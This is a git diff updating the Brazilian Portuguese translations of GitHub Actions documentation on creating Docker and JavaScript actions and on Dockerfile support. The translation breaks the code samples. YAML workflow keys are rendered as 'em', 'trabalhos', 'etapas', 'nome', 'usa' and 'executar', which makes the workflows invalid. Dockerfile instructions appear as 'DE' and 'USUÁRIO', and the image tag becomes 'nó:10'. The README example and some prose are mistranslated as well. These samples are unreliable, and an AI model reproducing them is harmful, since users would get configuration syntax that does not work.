+### Exemplo usando uma ação pública
 
-The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)." {% endif %}
+O código do fluxo de trabalho a seguir usa a ação completa _hello world_ no repositório público [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action). Copie o exemplo de código de fluxo de trabalho a seguir em um arquivo `.github/workflows/main.yml`, mas substitua `actions/hello-world-docker-action` pelo nome de seu repositório e ação. Você também pode substituir a entrada `who-to-greet` pelo seu nome. {% ifversion fpt or ghec %}As ações públicas podem ser usadas mesmo se não forem publicadas em {% data variables.product.prodname_marketplace %}. Para obter mais informações, consulte "[Publicar uma ação](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)". {% endif %}
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -208,39 +208,39 @@ jobs:
 ```
 {% endraw %}
 
-### Example using a private action
+### Exemplo usando uma ação privada
 
-Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %}
+Copie o seguinte exemplo de código de fluxo de trabalho em um arquivo `.github/workflows/main.yml` no repositório da ação. Você também pode substituir a entrada `who-to-greet` pelo seu nome. {% ifversion fpt or ghec %}Esta ação privada não pode ser publicada em {% data variables.product.prodname_marketplace %}, e só pode ser usada neste repositório.{% endif %}
 
 {% raw %}
 **.github/workflows/main.yml**
 ```yaml{:copy}
-on: [push]
+em: [push]
 
-jobs:
+trabalhos:
   hello_world_job:
     runs-on: ubuntu-latest
-    name: A job to say hello
-    steps:
-      # To use this repository's private action,
-      # you must check out the repository
-      - name: Checkout
-        uses: actions/checkout@v2
-      - name: Hello world action step
-        uses: ./ # Uses an action in the root directory
-        id: hello
-        with:
+    nome: Um trabalho para dizer "Olá"
+    etapas:
+      # Para usar a ação privada desse repositório,
+      # você deve verificar o repositório
+      - nome: Checkout
+        usa: actions/checkout@v2
+      - nome: Etapa da ação "Olá, mundo"
+        usa: ./ # Usa uma ação no diretório-raiz
+        id: olá
+        com:
           who-to-greet: 'Mona the Octocat'
-      # Use the output from the `hello` step
-      - name: Get the output time
-        run: echo "The time was ${{ steps.hello.outputs.time }}"
+      # Usa a saída da etapa `hello`
+      - nome: Obtém o tempo de saída
+        executar: echo "O tempo foi ${{ steps.hello.outputs.time }}"
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+No seu repositório, clique na aba **Ações** e selecione a última execução do fluxo de trabalho. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Em **Trabalhos** ou no gráfico de visualização, clique em **A job to say hello**. {% endif %}Você deverá ver "Hello Mona the Octocat" ou o nome que você usou como entrada em `who-to-greet` e o horário impresso no log.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png)
+![Uma captura de tela de sua ação em um fluxo de trabalho](/assets/images/help/repository/docker-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run.png)
+![Uma captura de tela de sua ação em um fluxo de trabalho](/assets/images/help/repository/docker-action-workflow-run.png)
 {% endif %}
diff --git a/translations/pt-BR/content/actions/creating-actions/creating-a-javascript-action.md b/translations/pt-BR/content/actions/creating-actions/creating-a-javascript-action.md
index be64353589..8c1a06b1f8 100644
--- a/translations/pt-BR/content/actions/creating-actions/creating-a-javascript-action.md
+++ b/translations/pt-BR/content/actions/creating-actions/creating-a-javascript-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a JavaScript action
-intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.'
+title: Criar uma ação JavaScript
+intro: 'Neste guia, você aprenderá como criar uma ação JavaScript usando o conjunto de ferramentas de ações.'
 redirect_from:
   - /articles/creating-a-javascript-action
   - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action
@@ -15,51 +15,51 @@ type: tutorial
 topics:
   - Action development
   - JavaScript
-shortTitle: JavaScript action
+shortTitle: Ação do JavaScript
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+Neste guia, você aprenderá os componentes básicos necessários para criar e usar uma ação JavaScript empacotada. Para manter o foco deste guia nos componentes necessários para empacotar a ação, a funcionalidade do código da ação é mínima. A ação imprime "Olá, mundo" nos registros ou "Olá, [who-to-greet]", se você fornecer um nome personalizado.
 
-This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+Este guia usa o módulo Node.js do kit de ferramentas {% data variables.product.prodname_actions %} para acelerar o desenvolvimento. Para obter mais informações, consulte o repositório [ações/conjuntos de ferramentas](https://github.com/actions/toolkit).
 
-Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow.
+Ao terminar esse projeto, você entenderá como criar sua própria ação JavaScript e poderá testá-la em um fluxo de trabalho.
 
 {% data reusables.github-actions.pure-javascript %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository.
+Antes de começar, você deverá fazer o download do Node.js e criar um repositório público em {% data variables.product.prodname_dotcom %}.
 
-1. Download and install Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}16.x{% else %}12.x{% endif %}, which includes npm.
+1. Faça o download e instale o Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}16.x{% else %}12.x{% endif %}, o que inclui npm.
 
   {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %}
 
-1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. Crie um novo repositório público em {% data variables.product.product_location %} e chame-o de "hello-world-javascript-action". Para obter mais informações, consulte "[Criar um repositório novo](/articles/creating-a-new-repository)".
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. Clone o repositório para seu computador. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)".
 
-1. From your terminal, change directories into your new repository.
+1. No seu terminal, mude os diretórios para seu novo repositório.
 
   ```shell{:copy}
   cd hello-world-javascript-action
   ```
 
-1. From your terminal, initialize the directory with npm to generate a `package.json` file.
+1. No terminal, inicialize o diretório com npm para gerar um arquivo `package.json`.
 
   ```shell{:copy}
   npm init -y
   ```
 
-## Creating an action metadata file
+## Criar um arquivo de metadados de ação
 
-Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+Crie um novo arquivo denominado `action.yml` no diretório `hello-world-javascript-action` com o código de exemplo a seguir. Para obter mais informações, consulte "[Sintaxe dos metadados para {% data variables.product.prodname_actions %}}](/actions/creating-actions/metadata-syntax-for-github-actions)."
 
 ```yaml{:copy}
 name: 'Hello World'
@@ -77,34 +77,34 @@ runs:
   main: 'index.js'
 ```
 
-This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action.
+Esse arquivo define a entrada `who-to-greet` e a saída `time`. O arquivo também diz ao executor da ação como começar a executar essa ação JavaScript.
 
-## Adding actions toolkit packages
+## Adicionar pacotes do kit de ferramenta de ações
 
-The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency.
+O conjunto de ferramentas de ações é uma coleção de pacotes Node.js que permite a rápida criação de ações JavaScript com mais consistência.
 
-The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages.
+O pacote do kit de ferramentas [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) fornece uma interface com os comandos do fluxo de trabalho, variáveis de entrada e saída, status de saída e mensagens de depuração.
 
-The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts.
+O conjunto de ferramentas também oferece um pacote [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) que retorna um cliente REST Octokit autenticado e acesso aos contexto do GitHub Actions.
 
-The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+O conjunto de ferramentas oferece mais do que pacotes `core` and `github`. Para obter mais informações, consulte o repositório [ações/conjuntos de ferramentas](https://github.com/actions/toolkit).
 
-At your terminal, install the actions toolkit `core` and `github` packages.
+No seu terminal, instale os pacotes de conjunto de ferramentas de ações `core` e `github`.
 
 ```shell{:copy}
 npm install @actions/core
 npm install @actions/github
 ```
 
-Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module.
+Você pode ver agora um diretório `node_modules` com três módulos recém-instalados e um arquivo `package-lock.json` com as dependências do módulo instalado e as versões de cada módulo instalado.
 
-## Writing the action code
+## Gravar um código de ação
 
-This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use.
+Esta ação usa o conjunto de ferramentas para obter a variável de entrada obrigatória `who-to-greet` no arquivo de metadados da ação e imprime "Hello [who-to-greet]" em uma mensagem de depuração no log. Na sequência, o script obtém a hora atual e a configura como uma variável de saída que pode ser usada pelas ações executadas posteriormente em um trabalho.
 
-GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log.
+O GitHub Actions fornece informações de contexto sobre o evento webhook, Git refs, fluxo de trabalho, ação e a pessoa que acionou o fluxo de trabalho. Para acessar as informações de contexto, você pode usar o pacote `github`. A ação que você vai escrever imprimirá a carga do evento webhook no log.
 
-Add a new file called `index.js`, with the following code.
+Adicione um arquivo novo denominado `index.js`, com o seguinte código:
 
 {% raw %}
 ```javascript{:copy}
@@ -126,31 +126,31 @@ try {
 ```
 {% endraw %}
 
-If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+Se um erro for lançado no exemplo `index.js` acima, `core.setFailed(error.message);` usará o pacote do conjunto de ferramentas de ações [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) para registrar uma mensagem em log e definir um código de saída de falha. Para obter mais informações, consulte "[Definindo os códigos de saída para as ações](/actions/creating-actions/setting-exit-codes-for-actions)".
 
-## Creating a README
+## Criar README
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+Para que as pessoas saibam como usar sua ação, você pode criar um arquivo README. Um arquivo README é útil quando você planeja compartilhar publicamente sua ação, mas também é uma ótima maneira de lembrá-lo ou sua equipe sobre como usar a ação.
 
-In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information:
+No diretório `hello-world-javascript-action`, crie um arquivo `README.md` que especifica as seguintes informações:
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- Descrição detalhada do que a ação faz;
+- Argumentos obrigatórios de entrada e saída;
+- Argumentos opcionais de entrada e saída;
+- Segredos usados pela ação;
+- Variáveis de ambiente usadas pela ação;
+- Um exemplo de uso da ação no fluxo de trabalho.
 
 ```markdown
 # Hello world javascript action
 
-This action prints "Hello World" or "Hello" + the name of a person to greet to the log.
+Esta ação imprime "Hello World" ou "Hello" + o nome de uma pessoa a ser cumprimentada no log.
 
 ## Inputs
 
 ## `who-to-greet`
 
-**Required** The name of the person to greet. Default `"World"`.
+**Required** The name of the person to greet. Padrão `"World"`.
 
 ## Outputs
 
@@ -158,20 +158,20 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t
 
 The time we greeted you.
 
-## Example usage
+## Exemplo de uso
 
-uses: actions/hello-world-javascript-action@v1.1
-with:
-  who-to-greet: 'Mona the Octocat'
+usa: ações/hello-world-javascript-action@v1.1
+com:
+  quem cumprimentar: 'Mona, a Octocat'
 ```
 
-## Commit, tag, and push your action to GitHub
+## Fazer commit, tag e push da sua ação para o GitHub
 
-{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository.
+O {% data variables.product.product_name %} faz o download de cada ação executada em um fluxo de trabalho durante o tempo de execução e executa-a como um pacote completo do código antes de você poder usar os comandos do fluxo de trabalho como, por exemplo, `executar` para interagir com a máquina executora. Isso significa que você deve incluir quaisquer dependências de pacotes necessárias para executar o código JavaScript. Você precisará verificar os pacotes de conjuntos de ferramentas `core` e `github` no repositório de ação.
 
-From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory.
+No seu terminal, faça commit dos arquivos `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json` e `README.md`. Se você adicionar um arquivo `.gitignore` que lista `node_modules`, será necessário remover essa linha para fazer commit do diretório `node_modules`.
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+Adicionar uma tag da versão para versões da sua ação é considerada uma prática recomendada. Para obter mais informações sobre versões da sua ação, consulte "[Sobre ações](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)".
 
 ```shell{:copy}
 git add action.yml index.js node_modules/* package.json package-lock.json README.md
@@ -180,24 +180,19 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution.
+Verificar seu diretório `node_modules` pode causar problemas. Como alternativa, você pode usar uma ferramenta denominada [`@vercel/ncc`](https://github.com/vercel/ncc) para compilar o seu código e módulos em um arquivo usado para distribuição.
 
-1. Install `vercel/ncc` by running this command in your terminal.
-  `npm i -g @vercel/ncc`
+1. Instale o `vercel/ncc` executando este comando no seu terminal. `npm i -g @vercel/ncc`
 
-1. Compile your `index.js` file.
-  `ncc build index.js --license licenses.txt`
+1. Compile seu arquivo `index.js`. `ncc build index.js --license licenses.txt`
 
-  You'll see a new `dist/index.js` file with your code and the compiled modules.
-  You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using.
+  Você verá um novo arquivo `dist/index.js` com seu código e os módulos compilados. Você também verá um arquivo que acompanha `dist/licenses.txt` e contém todas as licenças dos `node_modules` que você está usando.
 
-1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file.
- `main: 'dist/index.js'`
+1. Altere a palavra-chave `main` (principal) no arquivo `action.yml` para usar o novo arquivo `dist/index.js`. `main: 'dist/index.js'`
 
-1. If you already checked in your `node_modules` directory, remove it.
-  `rm -rf node_modules/*`
+1. Se você já verificou o diretório `node_modules`, remova-o. `rm -rf node_modules/*`
 
-1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files.
+1. No seu terminal, faça commit das atualizações para os arquivos `action.yml`, `dist/index.js` e `node_modules`.
 ```shell
 git add action.yml dist/index.js node_modules/*
 git commit -m "Use vercel/ncc"
@@ -205,17 +200,17 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## Testar sua ação em um fluxo de trabalho
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+Agora você está pronto para testar sua ação em um fluxo de trabalho. Quando uma ação está em um repositório privado, a ação somente pode ser usada em fluxos de trabalho no mesmo repositório. Ações públicas podem ser usadas por fluxos de trabalho em qualquer repositório.
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
+### Exemplo usando uma ação pública
 
-This example demonstrates how your new public action can be run from within an external repository.
+Este exemplo demonstra como sua nova ação pública pode ser executada dentro de um repositório externo.
 
-Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name.
+Copie o seguinte YAML em um novo arquivo em `.github/workflows/main.yml` e atualize a linha `uses: octocat/hello-world-javascript-action@v1.1` com seu nome de usuário e o nome do repositório público que você criou acima. Você também pode substituir a entrada `who-to-greet` pelo seu nome.
 
 {% raw %}
 ```yaml{:copy}
@@ -237,43 +232,43 @@ jobs:
 ```
 {% endraw %}
 
-When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it.
+Quando este fluxo de trabalho é acionado, o executor fará o download da ação `hello-world-javascript-action` do repositório público e, em seguida, irá executá-la.
 
-### Example using a private action
+### Exemplo usando uma ação privada
 
-Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name.
+Copie o código do fluxo de trabalho em um arquivo `.github/workflows/main.yml` no repositório da ação. Você também pode substituir a entrada `who-to-greet` pelo seu nome.
 
 {% raw %}
 **.github/workflows/main.yml**
 ```yaml{:copy}
-on: [push]
+em: [push]
 
-jobs:
+trabalhos:
   hello_world_job:
     runs-on: ubuntu-latest
-    name: A job to say hello
-    steps:
-      # To use this repository's private action,
-      # you must check out the repository
-      - name: Checkout
-        uses: actions/checkout@v2
-      - name: Hello world action step
-        uses: ./ # Uses an action in the root directory
-        id: hello
-        with:
+    nome: Um trabalho para dizer "Olá"
+    etapas:
+      # Para usar a ação privada desse repositório,
+      # você deve verificar o repositório
+      - nome: Checkout
+        usa: actions/checkout@v2
+      - nome: Etapa da ação "Olá, mundo"
+        usa: ./ # Usa uma ação no diretório-raiz
+        id: olá
+        com:
           who-to-greet: 'Mona the Octocat'
-      # Use the output from the `hello` step
-      - name: Get the output time
-        run: echo "The time was ${{ steps.hello.outputs.time }}"
+      # Usa a saída da etapa `hello`
+      - nome: Obtém o tempo de saída
+        executar: echo "O tempo foi ${{ steps.hello.outputs.time }}"
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+No seu repositório, clique na aba **Ações** e selecione a última execução do fluxo de trabalho. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Em **Trabalhos** ou no gráfico de visualização, clique em **A job to say hello**. {% endif %}Você deverá ver "Hello Mona the Octocat" ou o nome que você usou como entrada em `who-to-greet` e o horário impresso no log.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
+![Uma captura de tela de sua ação em um fluxo de trabalho](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
 {% elsif ghes %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
+![Uma captura de tela de sua ação em um fluxo de trabalho](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png)
+![Uma captura de tela de sua ação em um fluxo de trabalho](/assets/images/help/repository/javascript-action-workflow-run.png)
 {% endif %}
diff --git a/translations/pt-BR/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/translations/pt-BR/content/actions/creating-actions/dockerfile-support-for-github-actions.md
index 58e2bf325b..e0cf56f4be 100644
--- a/translations/pt-BR/content/actions/creating-actions/dockerfile-support-for-github-actions.md
+++ b/translations/pt-BR/content/actions/creating-actions/dockerfile-support-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Dockerfile support for GitHub Actions
-shortTitle: Dockerfile support
-intro: 'When creating a `Dockerfile` for a Docker container action, you should be aware of how some Docker instructions interact with GitHub Actions and an action''s metadata file.'
+title: Suporte do arquivo Docker para GitHub Actions
+shortTitle: Suporte ao Dockerfile
+intro: 'Ao criar um "arquivo Docker" para uma ação do contêiner Docker, você deverá ter em mente como algumas instruções do Docker interagem com o GitHub Actions e com um arquivo de metadados da ação.'
 redirect_from:
   - /actions/building-actions/dockerfile-support-for-github-actions
 versions:
@@ -15,53 +15,53 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About Dockerfile instructions
+## Sobre as instruções do arquivo Docker
 
-A `Dockerfile` contains instructions and arguments that define the contents and startup behavior of a Docker container. For more information about the instructions Docker supports, see "[Dockerfile reference](https://docs.docker.com/engine/reference/builder/)" in the Docker documentation.
+Um `arquivo Docker` contém instruções e argumentos que definem o conteúdo e o comportamento inicial de um contêiner Docker. Para obter mais informações sobre o suporte de instruções do Docker, consulte "[Referência do arquivo Docker](https://docs.docker.com/engine/reference/builder/)" na documentação do Docker.
 
-## Dockerfile instructions and overrides
+## Instruções e substituições do arquivo Docker
 
-Some Docker instructions interact with GitHub Actions, and an action's metadata file can override some Docker instructions. Ensure that you are familiar with how your Dockerfile interacts with {% data variables.product.prodname_actions %} to prevent any unexpected behavior.
+Algumas instruções do Docker interagem com o GitHub Actions e um arquivo de metadados pode substituir algumas instruções do Docker. Certifique-se de que você esteja familiarizado com a forma como o arquivo Docker interage com {% data variables.product.prodname_actions %} para evitar comportamento inesperado.
 
-### USER
+### USUÁRIO
 
-Docker actions must be run by the default Docker user (root). Do not use the `USER` instruction in your `Dockerfile`, because you won't be able to access the `GITHUB_WORKSPACE`. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and [USER reference](https://docs.docker.com/engine/reference/builder/#user) in the Docker documentation.
+As ações do Docker devem ser executadas pelo usuário-padrão do Docker (raiz). Não use a instrução do `USUÁRIO` no seu `arquivo Docker`, pois você não poderá acessar o `GITHUB_WORKSPACE`. Para obter mais informações, consulte "[Usando variáveis de ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)" e [referência do USUÁRIO](https://docs.docker.com/engine/reference/builder/#user) na documentação do Docker.
 
-### FROM
+### DE
 
-The first instruction in the `Dockerfile` must be `FROM`, which selects a Docker base image. For more information, see the [FROM reference](https://docs.docker.com/engine/reference/builder/#from) in the Docker documentation.
+A primeira instrução no `arquivo Docker` deve ser `DE`, que seleciona uma imagem-base para o Docker. Para obter mais informações, consulte [referência DE](https://docs.docker.com/engine/reference/builder/#from) na documentação do Docker.
 
-These are some best practices when setting the `FROM` argument:
+Essas são algumas práticas recomendadas ao definir o argumento `DE`:
 
-- It's recommended to use official Docker images. For example, `python` or `ruby`.
-- Use a version tag if it exists, preferably with a major version. For example, use `node:10` instead of `node:latest`.
-- It's recommended to use Docker images based on the [Debian](https://www.debian.org/) operating system.
+- Recomendamos o uso de imagens oficiais do Docker. Por exemplo, `python` ou `ruby`.
+- Use uma tag da versão, se houver, preferencialmente com uma versão principal. Por exemplo, use `nó:10` em vez de `nó:latest`.
+- Recomendamos o uso das imagens do Docker com base no sistema operacional [Debian](https://www.debian.org/).
 
 ### WORKDIR
 
-{% data variables.product.product_name %} sets the working directory path in the `GITHUB_WORKSPACE` environment variable. It's recommended to not use the `WORKDIR` instruction in your `Dockerfile`. Before the action executes, {% data variables.product.product_name %} will mount the `GITHUB_WORKSPACE` directory on top of anything that was at that location in the Docker image and set `GITHUB_WORKSPACE` as the working directory. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and the [WORKDIR reference](https://docs.docker.com/engine/reference/builder/#workdir) in the Docker documentation.
+{% data variables.product.product_name %} define o caminho do diretório de trabalho na variável do ambiente `GITHUB_WORKSPACE`. Recomendamos não usar a instrução `WORKDIR` no seu `arquivo Docker`. Antes de a ação ser executada, {% data variables.product.product_name %} irá montar o diretório `GITHUB_WORKSPACE` na parte superior de qualquer que tenha sido o local na imagem do Docker e definir `GITHUB_WORKSPACE` como o diretório de trabalho. Para obter mais informações, consulte "[Usando variáveis do ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)" e a [referência do WORKDIR ](https://docs.docker.com/engine/reference/builder/#workdir) na documentação do Docker.
 
 ### ENTRYPOINT
 
-If you define `entrypoint` in an action's metadata file, it will override the `ENTRYPOINT` defined in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)."
+Se você definir o `entrypoint` em um arquivo de metadados de uma ação, ele irá substituir o `ENTRYPOINT` definido no `arquivo Docker`. Para obter mais informações, consulte "[sintaxe dos metadados para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)."
 
-The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. For more information about _exec_ and _shell_ form, see the [ENTRYPOINT reference](https://docs.docker.com/engine/reference/builder/#entrypoint) in the Docker documentation.
+A instrução do `ENTRYPOINT` do Docker tem forma de _shell_ e forma de _exec_. A documentação do `ENTRYPOINT` do docker recomenda o uso da forma _exec_ da instrução do `ENTRYPOINT`. Para obter mais informações sobre as formas _exec_ e _shell_, consulte a referência ENTRYPOINT [](https://docs.docker.com/engine/reference/builder/#entrypoint) na documentação do Docker.
 
-If you configure your container to use the _exec_ form of the `ENTRYPOINT` instruction, the `args` configured in the action's metadata file won't run in a command shell. If the action's `args` contain an environment variable, the variable will not be substituted. For example, using the following _exec_ format will not print the value stored in `$GITHUB_SHA`, but will instead print `"$GITHUB_SHA"`.
+Se você configurar o seu contêiner para usar a forma _exec_ da instrução `ENTRYPOINT`, os `args` configurados no arquivo de metadados da ação não serão executados em um shell do comando. Se os `args` da ação contiverem uma variável do ambiente, esta não será substituída. Por exemplo, usar o formato _exec_ a seguir não imprimirá o valor armazenado em `$GITHUB_SHA`. Em vez disso, imprimirá `$GITHUB_SHA`.
 
 ```dockerfile
 ENTRYPOINT ["echo $GITHUB_SHA"]
 ```
 
- If you want variable substitution, then either use the _shell_ form or execute a shell directly. For example, using the following _exec_ format, you can execute a shell to print the value stored in the `GITHUB_SHA` environment variable.
+ Se você desejar uma substituição de variável, use a forma _shell_ ou execute um shell diretamente. Por exemplo, ao usar o formato _exec_ a seguir, você poderá executar um shell para imprimir o valor armazenado na variável do ambiente `GITHUB_SHA`.
 
 ```dockerfile
 ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"]
 ```
 
- To supply `args` defined in the action's metadata file to a Docker container that uses the _exec_ form in the `ENTRYPOINT`, we recommend creating a shell script called `entrypoint.sh` that you call from the `ENTRYPOINT` instruction:
+ Para fornecer os `args` definidos no arquivo de metadados da ação para um contêiner Dock que usa a forma _exec_ no `ENTRYPOINT`, recomendamos criar um script do shell denominado `entrypoint.sh` que você pode acessar a partir da instrução `ENTRYPOINT`:
 
-#### Example *Dockerfile*
+#### Exemplo *arquivo Docker*
 
 ```dockerfile
 # Container image that runs your code
@@ -74,9 +74,9 @@ COPY entrypoint.sh /entrypoint.sh
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-#### Example *entrypoint.sh* file
+#### Exemplo: arquivo *entrypoint.sh*
 
-Using the example Dockerfile above, {% data variables.product.product_name %} will send the `args` configured in the action's metadata file as arguments to `entrypoint.sh`. Add the `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) at the top of the `entrypoint.sh` file to explicitly use the system's [POSIX](https://en.wikipedia.org/wiki/POSIX)-compliant shell.
+Ao usar o arquivo Docker acima, {% data variables.product.product_name %}, enviará os `args` configurados no arquivo de metadados da ação como argumentos para o`entrypoint.sh`. Adicione `#!/bin/sh`[shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) na parte superior do arquivo `entrypoint.sh` para usar explicitamente o shell conforme o [POSIX](https://en.wikipedia.org/wiki/POSIX) do sistema.
 
 ``` sh
 #!/bin/sh
@@ -86,25 +86,25 @@ Using the example Dockerfile above, {% data variables.product.product_name %} wi
 sh -c "echo $*"
 ```
 
-Your code must be executable. Make sure the `entrypoint.sh` file has `execute` permissions before using it in a workflow. You can modify the permission from your terminal using this command:
